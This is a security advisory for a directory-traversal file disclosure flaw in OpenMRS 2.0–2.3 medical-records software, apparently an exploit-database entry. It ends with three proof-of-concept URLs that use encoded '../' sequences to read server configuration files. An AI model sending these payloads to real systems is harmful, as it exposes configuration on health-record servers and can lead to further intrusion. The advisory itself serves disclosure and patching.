OpenMRS 2.3 (1.11.4) - Local File Disclosure

OpenMRS 2.3 (1.11.4) Local File Disclosure Vulnerability


Vendor: OpenMRS Inc.
Product web page: http://www.openmrs.org
Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)
                  OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))

Summary: OpenMRS is an application which enables design
of a customized medical records system with no programming
knowledge (although medical and systems analysis knowledge
is required). It is a common framework upon which medical
informatics efforts in developing countries can be built.

Desc: OpenMRS suffers from a file disclosure vulnerability
when input passed thru the 'url' parameter to viewPortlet.htm
script is not properly verified before being used to include
files. This can be exploited to include files from local
resources with directory traversal attacks.


Tested on: Ubuntu 12.04.5 LTS
           Apache Tomcat/7.0.26
           Apache Tomcat/6.0.36
           Apache Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5286
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5286.php

Vendor: https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868


02.11.2015

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http://127.0.0.1:8080/openmrs/module/reporting/viewPortlet.htm?id=reportDesignPortlet&url=..%2f..%2f..%2fWEB-INF%2fweb.xml%3bx%3d
http://127.0.0.1:8080/openmrs/module/reporting/viewPortlet.htm?id=reportProcessorPortlet&url=..%2f..%2f..%2fWEB-INF%2fweb.xml%3bx
http://127.0.0.1:8080/openmrs/module/reporting/viewPortlet.htm?id=reportDesignPortlet&url=..%2f..%2f..%2fMETA-INF%2fmaven%2forg.openmrs.web%2fopenmrs-webapp%2fpom.xml%3bx%3d